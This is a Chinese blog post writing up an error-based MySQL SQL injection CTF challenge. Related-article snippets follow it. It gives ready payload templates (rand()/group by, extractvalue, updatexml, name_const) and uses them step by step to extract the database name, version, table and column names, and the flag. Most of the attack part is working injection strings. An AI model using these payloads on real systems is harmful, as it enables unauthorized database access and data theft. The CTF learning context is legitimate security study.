基於錯誤回顯的sql注入整理

2022-08-30 03:00:08 字數 3662 閱讀 7024

由於複習,停了好幾天,今天換換模式做了一下關於錯誤回顯的ctf題目,首先附上題目:here

0x00 關於錯誤回顯

用我自己的話來講,基於錯誤回顯的sql注入就是通過sql語句的矛盾性來使資料被回顯到頁面上(當然在實際應用中得能回顯在頁面上,一般的**都回避免這種情況,哈哈,要是能碰上你就偷著樂吧)。

0x01  用於錯誤回顯的sql語句(下面的函式擼主只在mysql下試過也能成功,其他資料庫有待考證,待有例項的時候會補充)

第一種:  基於 rand()  與  group by 的錯誤

首先看一下關於rand()函式與group by 在mysql中的錯誤報告,沒錯,我們就是要利用group by part of rand() returns duplicate key error這個bug。

rand() in a where clause is re-evaluated every time the where is executed.

you cannot use a column with rand() values in an order by clause, because order by would evaluate the column multiple times.

這個bug會爆出duplicate key這個錯誤,然後順便就把資料也給爆了:p

公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想獲取的資料的sql語句))x from information_schema.tables group by x )a) and '1' = '1

第二種: xpath爆資訊

這裡主要用到的是extractvalue()updatexml()這2個函式,由於mysql 5.1以後提供了內建的xml檔案解析和函式,所以這種注入只能用於5.1版本以後

檢視sql手冊

語法:extractvalue (xml_document, xpath_string);       

第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。

作用:從目標xml中返回包含所查詢值的字串

語法:updatexml (xml_document, xpath_string, new_value);

第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。

第三個引數:new_value,string格式,替換查詢到的符合條件的資料

作用:改變文件中符合條件的節點的值

現在就很清楚了,我們只需要不滿足xpath_string(xpath格式)就可以了,但是由於這個方法只能爆出32位,所以可以結合mid來使用

公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的資料的sql語句)))) and '1'='1

公式2:username=admin' and (updatexml(1, concat(0x7e,(你想獲取的資料的sql語句)),1)) and '1'='1

第三種: 重複列爆資訊(對於這種方法,我在本地資料庫上有試驗成功,但是對於下面那道並沒有什麼作用,就不仔細說明了)

帶上**:

payload  id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)

0x02  應用

上面說了那麼多,讓我們來應用一下吧,基於這道題目

首先我們來爆出他的資料庫名   結果:r0866cplushua

username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and '1' = '1
然後爆他的資料庫版本  結果:5.1.61-alibaba-rds-201404-log

username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and '1' = '1

接著爆他的表名   結果:log    motto   user  這裡需要一條一條爆

username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1

然後再爆他的列名  結果:id  username  motto(這裡我一開始試的是user表但是資料並沒有我們想要的,所以換了motto,也需要一條一條的爆)

username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name='motto' and table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1

最後就是爆資料了   結果:key#notfound!#    (這裡我使用了xpath爆資料,因為不知道什麼原因用第一種方法暴不出來)

username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(select%20concat(username,0x3a,motto)%20from%20motto%20limit%203,1))))%20and%20%271%27=%271

到了這裡這道題目就算是做出來了。由於擼主剛剛學起上面如果有什麼錯誤,請路過的大牛指正謝謝,同時也希望大牛們可以分享一些其他的注錯方法。

mysql錯誤回顯注入 sql注入 顯錯注入

前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...

基於錯誤的SQL注入(union聯合注入)

mysql中比較常用的一些函式 version 查詢資料庫的版本 user 查詢資料庫的使用者 database 資料庫 system user 系統使用者名稱 session user 連線資料庫的使用者名稱 current user 當前使用者名稱 load file 讀取本地檔案 datadi...

基於約束的sql注入

在建立乙個表時,會對錶的內容作出一些約束,例如 create table user id int not null auto increment,username varchar 30 not null,password varchar 30 not null,primary key id 在表中插...